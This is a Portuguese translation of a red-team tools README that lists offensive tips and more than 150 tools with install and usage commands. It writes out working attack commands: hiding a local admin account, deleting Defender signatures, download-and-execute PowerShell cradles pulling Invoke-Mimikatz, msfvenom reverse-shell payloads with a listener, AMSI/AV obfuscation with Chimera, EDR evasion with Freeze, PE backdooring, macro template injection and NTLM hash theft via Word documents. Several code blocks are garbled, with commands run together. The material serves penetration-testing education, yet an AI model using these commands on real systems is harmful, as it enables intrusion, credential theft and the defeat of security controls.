Ferramentas e Técnicas para Red Team / Testes de Penetração
Este repositório do GitHub contém uma coleção de 150+ ferramentas e recursos que podem ser úteis para atividades de red teaming.
Algumas das ferramentas podem ser especificamente projetadas para red teaming, enquanto outras são de uso geral e podem ser adaptadas para um contexto de red teaming.
🔗 Se você é um Blue Teamer, confira BlueTeam-Tools
Aviso
Os materiais neste repositório são apenas para fins informativos e educacionais. Não se destinam ao uso em atividades ilegais.
Nota
Ocultar os cabeçalhos da lista de ferramentas com a seta.
Clique em 🔙 para voltar à lista.
Aprenda com Red Teamers através de uma coleção de dicas de Red Teaming. Essas dicas abrangem uma variedade de táticas, ferramentas e metodologias para melhorar suas habilidades de red teaming.
Descrição: 'Qakbot adicionou um EventListener para movimento do mouse no anexo de HTML smuggling para anti-evasão em sandboxes; o zip não será extraído.'
Crédito: @pr0xylife
Link: Twitter
Crédito: @malmoeb
Link: Twitter
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Descrição:** *'Criar contas é arriscado ao evadir o blue, mas ao criar um administrador local, use uma feitiçaria fofa no registro para escondê-lo.'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Debilitar o Windows Defender deletando assinaturas```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Descrição: 'Um pouco bagunçado, mas se o Windows Defender está te causando uma grande dor de cabeça, em vez de desativá-lo (o que alerta o usuário), você deve apenas neutralizá-lo excluindo todas as assinaturas.'
Crédito: @Alh4zr3d
Link: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Descrição:** *'Às vezes você quer fazer login em um host via RDP ou similar, mas seu usuário tem uma sessão ativa. Habilite múltiplas sessões por usuário.'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list) Alternativa local ao Sysinternals PsExec.exe```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Descrição: 'Cansado de enviar o Sysinternals PsExec.exe ao fazer movimento lateral? O Windows tem uma alternativa melhor pré-instalada. Tente esta em vez disso.'
Créditos: @GuhnooPlusLinux
Link: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Descrição:** *'Quando possível, viva da terra em vez de enviar ferramentas para as máquinas (por várias razões). PowerShell/.NET ajuda. Ex: scanner de portas simples em Powershell.'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Ciente de proxy PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Descrição: 'A maioria das grandes organizações está usando proxies web atualmente. O cradle de download padrão do PowerShell não tem ciência de proxy. Use este.'
Crédito: @Alh4zr3d
Link: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Descrição:** *'Você se surpreenderia com o que pode descobrir apenas pelos favoritos de um usuário. Por exemplo, endpoints internos aos quais eles têm acesso.'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)Consultar registros DNS para enumeração```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Descrição: 'Enumeração é 95% do jogo. No entanto, lançar toneladas de scans para avaliar o ambiente é muito barulhento. Por que não apenas perguntar ao servidor DC/DNS por todos os registros DNS?'
Crédito: @Alh4zr3d
Link: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Descrição:** *'Encontrar caminhos de serviço sem aspas sem PowerUp'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Ignorar um prompt de comando desabilitado com /k```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Descrição: 'Este prompt de comando foi desabilitado pelo seu administrador...' Geralmente pode ser visto em ambientes como PCs de quiosques, uma solução rápida e improvisada é usar /k através da caixa Executar do Windows. Isso executará o comando e depois exibirá a mensagem de restrição, permitindo a execução do comando.
Crédito: Martin Sohn Christensen
Link: Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Descrição:** *'Você está cansado do Windows Defender excluir o mimikatz.exe? Tente isso em vez disso.'*
**Crédito:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Link:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Verifique se você está em uma máquina virtual```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Descrição: 'Quer saber se está em uma Máquina Virtual? Consulte as chaves do registro e descubra!!! Se algum resultado aparecer, você está em uma Máquina Virtual.'
Crédito: @dmcxblue
Link: Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Descrição:** *'AppLocker pode ser um problema. Enumere para ver o quão doloroso é'*
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
### [🔙](#tool-list)Atalho do CMD com 6 pixels via mspaint
1. Abra o MSPaint.exe e defina o tamanho da tela para: Largura=6 e Altura=1 pixel
2. Aumente o zoom para facilitar as tarefas a seguir
3. Usando o seletor de cores, defina os valores dos pixels (da esquerda para a direita):
- 1º: R: 10, G: 0, B: 0
- 2º: R: 13, G: 10, B: 13
- 3º: R: 100, G: 109, B: 99
- 4º: R: 120, G: 101, B: 46
- 5º: R: 0, G: 0, B: 101
- 6º: R: 0, G: 0, B: 0
4. Salve como Bitmap de 24 bits (*.bmp;*.dib)
5. Altere sua extensão de bmp para bat e execute.
**Descrição:** *'Um método incomum, porém eficaz, de obter um shell criando um atalho para cmd.exe desenhando certas cores no Microsoft Paint. Devido ao algoritmo de codificação usado para escrever arquivos BMP, é possível ditar dados ASCII escritos em um arquivo selecionando cuidadosamente certas cores RGB.'*
**Crédito:** [PenTestPartners](https://www.pentestpartners.com/)
**Link:** [Blog](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/#gainingacommandshell)
### [🔙](#tool-list)Engano de link com o método JavaScript PreventDefault
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PreventDefault Example</title>
</head>
<body>
<a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a>
</body>
</html>
Descrição: Atores maliciosos foram observados usando esta técnica para enganar vítimas a clicar em links falsificados de downloads de malware na página. Usando o método JavaScript PreventDefault, você pode falsificar o link de hover para exibir um link legítimo google.com, mas uma vez clicado, a vítima será redirecionada para seu link malicioso bing.com. Ótimo para fazer vítimas baixarem payloads através de um site controlado.
Link: Documentação do PreventDefault
```powershell
Copy-Item -Path "C:\tmp" -Destination "\<ip_running_responder>\c$"
**Descrição:** *'Quando faço uma Avaliação de Comprometimento, frequentemente pergunto ao cliente se posso fazer uma última verificação rápida: `Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"`. Se o Responder conseguir capturar o hash, o firewall permite conexões SMB de saída'*
**Crédito:** [@malmoeb](https://twitter.com/malmoeb)
**Link:** [Twitter](https://twitter.com/malmoeb/status/1628272928855826433)
### [🔙](#tool-list)Desabilitar AV com SysInternals PsSuspend
**Descrição:** *Usando a ferramenta Sysinternals da Microsoft PsSuspend.exe é possível suspender alguns executáveis de serviço de AV. A ferramenta assinada pela Microsoft pode receber o PID ou Nome de um serviço em execução e suspenderá o processo via API Windows NtSuspendProcess.*
**Postagem de Blog Relacionada:** [Contornando AV via Suspensão de Processo com PsSuspend.exe](https://medium.com/@a-poc/process-suspension-with-pssuspend-exe-0cdf5d16a3b7)
**Link:** [Twitter](https://twitter.com/0gtweet/status/1638069413717975046)
Reconhecimento
====================
### [🔙](#tool-list)[spiderfoot](https://github.com/smicallef/spiderfoot)
SpiderFoot é uma ferramenta de automação de inteligência de fontes abertas (OSINT). Ela integra-se com praticamente todas as fontes de dados disponíveis e utiliza uma variedade de métodos para análise de dados, tornando esses dados fáceis de navegar.
SpiderFoot pode ser usado de forma ofensiva (por exemplo, em um exercício de red team ou teste de penetração) para reconhecimento do seu alvo ou defensivamente para coletar informações sobre o que você ou sua organização podem ter exposto na Internet.
**Instalação:**```bash
wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz
tar zxvf v4.0.tar.gz
cd spiderfoot-4.0
pip3 install -r requirements.txt
Para instruções completas de instalação, veja aqui.
Uso:```python python3 ./sf.py -l 127.0.0.1:5001
Muitos vídeos tutoriais de uso [aqui](https://asciinema.org/~spiderfoot)
*Imagem usada de https://github.com/smicallef/spiderfoot*
### [🔙](#tool-list)[reconftw](https://github.com/six2dez/reconftw)
reconFTW automatiza todo o processo de reconhecimento para você. Ele supera o trabalho de enumeração de subdomínios juntamente com várias verificações de vulnerabilidade e obtenção do máximo de informações sobre seu alvo.
**Instalação:**```bash
git clone https://github.com/six2dez/reconftw.git;cd reconftw/;./install.sh
Para instruções completas de instalação, veja aqui.
Uso:```bash
./reconftw.sh -d target.com -r
./reconftw.sh -m target -l domains.txt -r
./reconftw.sh -d target.com -p
./reconftw.sh -d target.com -a
Para instruções completas de uso, veja [aqui](https://github.com/six2dez/reconftw/wiki/2.-Usage-Guide).
*Imagem utilizada de https://www.youtube.com/watch?v=TQmDAtkD1Wo*
### [🔙](#tool-list)[subzy](https://github.com/PentestPad/subzy)
Ferramenta de subdomain takeover que funciona com base na correspondência de fingerprints de resposta do [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz/blob/master/README.md).
**Instalação:**```bash
go install -v github.com/PentestPad/subzy@latest
Para instruções completas de instalação veja aqui.
Uso:```bash
./subzy run --targets list.txt
./subzy run --target test.google.com ./subzy run --target test.google.com,https://test.yahoo.com
*Imagem utilizada de https://www.geeksforgeeks.org/subzy-subdomain-takeover-vulnerability-checker-tool/*
### [🔙](#tool-list)[smtp-user-enum](https://github.com/cytopia/smtp-user-enum)
Enumeração de usuários SMTP via VRFY, EXPN e RCPT com funcionalidade inteligente de timeout, repetição e reconexão.
**Instalação:**```bash
pip install smtp-user-enum
Uso:```bash smtp-user-enum [options] -u/-U host port smtp-user-enum --help smtp-user-enum --version
*Imagem usada de https://www.kali.org/tools/smtp-user-enum/*
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
Eu montei um one-liner bash que:
- Coleta passivamente uma lista de subdomínios de associações de certificados ([crt.sh](https://crt.sh/))
- Ativamente requisita cada subdomínio para verificar sua existência ([httprobe](https://github.com/tomnomnom/httprobe))
- Ativamente tira screenshots de cada subdomínio para revisão manual ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Uso:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Nota: Você deve ter httprobe, pup e EyeWitness instalados e alterar 'DOMAIN_COM' para o domínio alvo. Você pode executar este script simultaneamente em janelas de terminal se tiver múltiplos domínios raiz alvo
Um bookmarklet JavaScript para extrair todos os links de endpoints de uma página web.
Criado por @renniepak, este trecho de código JavaScript pode ser usado para extrair todos os endpoints (começando com /) do DOM da página web atual, incluindo todas as fontes de script externas embutidas na página.```javascript
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"
")})}setTimeout(writeResults,3e3);})();
**Uso (Bookmarklet)**
Crie um bookmarklet...
- `Clique com o botão direito na sua barra de favoritos`
- `Clique em 'Adicionar Página'`
- `Cole o Javascript acima na caixa 'url'`
- `Clique em 'Salvar'`
...então visite a página alvo no navegador e clique no bookmarklet.
**Uso (Console)**
Cole o Javascript acima na janela do console `F12` e pressione Enter.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Scanner rápido de vulnerabilidades que usa modelos .yaml para buscar problemas específicos.
**Instalação:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Uso:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff é um observador de palavras-chave de logs de Transparência de Certificados que escrevi em Python. Ele usa a biblioteca certstream para monitorar logs de criação de certificados que contenham palavras-chave, definidas em um arquivo.
Você pode configurá-lo para executar com várias palavras-chave relacionadas ao seu domínio alvo; quaisquer criações de certificados serão registradas e podem levar à descoberta de domínios que você desconhecia anteriormente.
**Instalação:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Uso:```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Ferramenta útil para força bruta de caminhos de arquivos/pastas em um site alvo.
**Instalação:**```bash
sudo apt install gobuster
Uso:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
Uma ferramenta projetada para realizar Navegação Forçada, um ataque cujo objetivo é enumerar e acessar recursos que não são referenciados pela aplicação web, mas ainda assim são acessíveis por um invasor.
O Feroxbuster usa força bruta combinada com uma wordlist para buscar conteúdo não vinculado em diretórios alvo. Esses recursos podem armazenar informações confidenciais sobre aplicações web e sistemas operacionais, como código-fonte, credenciais, endereçamento de rede interna, etc...
**Instalação: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Instalar: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Instalação: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Para instruções completas de instalação, veja here.
Uso:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Exemplos completos de uso podem ser encontrados [aqui](https://epi052.github.io/feroxbuster-docs/docs/examples/).
*Imagem usada de https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif*
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Uma ferramenta para encontrar a infraestrutura, arquivos e aplicativos de uma empresa (alvo) nos principais provedores de nuvem (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Características:
- Detecção de nuvem (API IPINFO e Código Fonte)
- Rápido (concorrente)
- Multiplataforma (windows, linux, mac)
- Randomização de User-Agent
- Randomização de Proxy (HTTP, Socks5)
**Instalação:**
Baixe a versão mais recente [aqui](https://github.com/0xsha/CloudBrute/releases) para seu sistema e siga as instruções de uso.
**Uso:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Imagem utilizada de https://github.com/0xsha/CloudBrute
dnsrecon é uma ferramenta pyhton para enumeração de registros DNS (MX, SOA, NS, A, AAAA, SPF e TXT) e pode fornecer uma série de novos hosts vítimas associados para pivoteamento a partir de uma única pesquisa de domínio.
Instalação:```bash sudo apt install dnsrecon
**Uso:**```bash
dnsrecon -d google.com
Shodan analisa a infraestrutura pública e a exibe em um formato pesquisável. Usando um nome de empresa, nome de domínio ou endereço IP, é possível descobrir sistemas potencialmente vulneráveis relacionados ao seu alvo através do shodan.
Ferramenta para enumeração de subdomínios, enumeração de DNS, detecção de WAF, WHOIS, varredura de portas, wayback machine, coleta de e-mails.
Instalação:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Uso:**```python
python3 AORT.py -d google.com
Um programa que verifica se um domínio pode ser falsificado. O programa verifica registros SPF e DMARC em busca de configurações fracas que permitem falsificação. Além disso, alertará se o domínio tiver configuração DMARC que envia e-mail ou solicitações HTTP em e-mails SPF/DKIM com falha.
Os domínios são falsificáveis se alguma das seguintes condições for atendida:
~all ou -allp=none ou é inexistenteInstalação:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Uso:**```bash
./spoofcheck.py [DOMAIN]
O AWSBucketDump é uma ferramenta para enumerar rapidamente buckets S3 da AWS em busca de arquivos interessantes. É semelhante a um bruteforcer de subdomínios, mas é feito especificamente para buckets S3 e também possui alguns recursos extras que permitem pesquisar arquivos, bem como baixar arquivos interessantes.
Instalação:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Uso:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Ferramenta útil para encontrar informações do GitHub com regex, com a capacidade de pesquisar usuários e/ou projetos específicos do GitHub.
Instalação:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Uso:**```
./githarvester.py
TruffleHog é uma ferramenta que analisa repositórios git e procura por strings de alta entropia e padrões que podem indicar a presença de segredos, como senhas e chaves de API. Com o TruffleHog, você pode encontrar rapidamente informações sensíveis que podem ter sido acidentalmente commitadas e enviadas a um repositório.
Instalação (Binários): Link
Instalação (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Uso:**```
trufflehog https://github.com/trufflesecurity/test_keys
Dismap é uma ferramenta de descoberta e identificação de ativos. Ela pode identificar rapidamente protocolos e informações de impressão digital, como web/tcp/udp, localizar tipos de ativos, e é adequada para redes internas e externas.
Dismap possui uma base completa de regras de impressão digital, atualmente incluindo impressões digitais de protocolos tcp/udp/tls e mais de 4500 regras de impressão digital web, que podem identificar favicon, body, header, etc.
Instalação:
Dismap é um arquivo binário para Linux, MacOS e Windows. Vá até o Release para baixar a versão correspondente e executar:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**Uso:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Imagem usada de https://github.com/zhzyker/dismap
Uma ferramenta para enumerar informações de sistemas Windows e Samba.
Pode ser usada para coletar uma ampla gama de informações, incluindo:
Instalação: (Apt)```bash sudo apt install enum4linux
**Instalar: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
Uso:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
Informações completas de uso podem ser encontradas neste [blog](https://labs.portcullis.co.uk/tools/enum4linux/).
*Imagem usada de https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/*
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
Scanner dns/rede/porta perigosamente rápido, criado por [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc), escrito em rust.
Você precisará de um arquivo de subdomínios. *Ex.: [Wordlist de subdomínios por Sublist3r](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)*.
**Instalação:**
Baixe a última versão de [aqui](https://github.com/Esc4iCEscEsc/skanuvaty/releases).```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Uso:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
*Imagem usada de https://github.com/Esc4iCEscEsc/skanuvaty*
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor é uma ferramenta de Inteligência, seu objetivo é realizar tarefas de OSINT e mais, mas sem nenhuma chave de API.
**Principais Características:**
- Pesquisa informações sobre endereço IP, ASN e Organização.
- Wrapper para executar rustscan, masscan e nmap de forma mais eficiente em IP/CIDR.
- Encontra mais domínios relacionados ao alvo aplicando várias técnicas (certificado, whois, Google Analytics, etc).
- Obter resumo sobre endereço IP (fornecido por [@thebl4ckturtle](https://github.com/theblackturtle))
**Instalação:**```bash
go install github.com/j3ssie/metabigor@latest
Uso:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'
*Imagem utilizada de https://github.com/j3ssie/metabigor*
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
O Gitrob é uma ferramenta para ajudar a encontrar arquivos potencialmente sensíveis enviados para repositórios públicos no Github.
O Gitrob clona repositórios pertencentes a um usuário ou organização até uma profundidade configurável e percorre o histórico de commits, sinalizando arquivos que correspondem a assinaturas de arquivos potencialmente sensíveis.
Os resultados serão apresentados através de uma interface web para fácil navegação e análise.
**Nota:** *O Gitrob precisará de um token de acesso do Github para interagir com a API do Github. [Crie um token de acesso pessoal](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) e salve-o em uma variável de ambiente no seu .bashrc ou arquivo de configuração similar do shell:*```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Instalar: (Go)```bash go get github.com/michenriksen/gitrob
**Instalação: (Binário)**
Uma [versão pré-compilada](https://github.com/michenriksen/gitrob/releases) está disponível para cada lançamento.
**Uso:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Imagem usada de https://www.uedbox.com/post/58828/
Gowitness é uma ferramenta de captura de tela de sites escrita em Golang, que utiliza o Chrome Headless para gerar capturas de tela de interfaces web através da linha de comando, com um prático visualizador de relatórios para processar os resultados. Tanto Linux quanto macOS são suportados, com suporte para Windows funcionando na maioria das vezes.
Instalação: (Go)```bash go install github.com/sensepost/gowitness@latest
A informação completa de instalação pode ser encontrada [aqui](https://github.com/sensepost/gowitness/wiki/Installation).
**Uso:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
Informações completas de uso podem ser encontradas aqui.
Imagem usada de https://github.com/sensepost/gowitness
Injeta link para modelo remoto do Word em documento do Word.
Este utilitário baseado em Python modifica o link settings.xml.rels de um arquivo .docx para um template .dotm hospedado remotamente contendo uma macro VBA, executando quando o documento é aberto e as macros estão habilitadas.
Instalar:```bash git clone https://github.com/JohnWoodman/remoteinjector;cd remoteinjector
**Uso:**```bash
python3 remoteinjector.py -w https://example.com/template.dotm example.docx
Chimera é um script de ofuscação PowerShell projetado para contornar soluções AMSI e antivírus. Ele digere PS1s maliciosos conhecidos por acionar AV e usa substituição de strings e concatenação de variáveis para evadir assinaturas de detecção comuns.
Install:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help
**Uso:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
O Msfvenom permite a criação de payloads para vários sistemas operacionais em uma ampla gama de formatos. Também suporta ofuscação de payloads para bypass de AV.
Configurar Listener```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
#### Comandos Msfvenom
**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
O Shellter é uma ferramenta dinâmica de injeção de shellcode e o primeiro infetor PE verdadeiramente dinâmico já criado.
Pode ser utilizado para injetar shellcode em aplicações nativas do Windows (atualmente apenas aplicações de 32 bits).
O Shellter tira partido da estrutura original do ficheiro PE e não aplica qualquer modificação como alterar permissões de acesso à memória nas secções (a menos que o utilizador queira), adicionar uma secção extra com acesso RWE, ou qualquer outra coisa que pareça suspeita numa análise de AV.
A informação completa do README pode ser encontrada aqui.
Instalação: (Kali)```bash apt-get update apt-get install shellter
**Instalação: (Windows)**
Visite a [página de download](https://www.shellterproject.com/download/) e instale.
**Uso:**
Basta escolher um binário legítimo para backdoor e executar o Shellter.
Algumas dicas úteis podem ser encontradas [aqui](https://www.shellterproject.com/tipstricks/).
Muitos demos de uso da comunidade podem ser encontrados [aqui](https://www.shellterproject.com/shellter-community-demos/).
*Imagem usada de https://www.kali.org/tools/shellter/images/shellter.png*
### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)
Freeze é uma ferramenta de criação de payload usada para contornar controles de segurança EDR e executar shellcode de forma furtiva.
Freeze utiliza múltiplas técnicas não apenas para remover hooks de EDR no Userland, mas também para executar shellcode de forma que contorna outros controles de monitoramento de endpoint.
**Instalação:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go
Uso:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)
*Imagem usada de https://www.blackhatethicalhacking.com/tools/freeze/*
### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)
Este script criará um Documento do Microsoft Word com uma imagem remota, permitindo a captura de hashes NTML de um endpoint remoto da vítima.
O Microsoft Word tem a capacidade de incluir imagens de locais remotos, incluindo uma imagem remota hospedada em um servidor SMB controlado pelo atacante. Isso lhe dá a oportunidade de escutar e capturar hashes NTLM que são enviados quando uma vítima autenticada abre o documento do Word e renderiza a imagem.
**Instalação:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal
Uso:```bash
./main.py 127.0.0.1 test.jpg 1
./main.py 127.0.0.1 test.jpg 0\n
*Imagem usada de https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/*
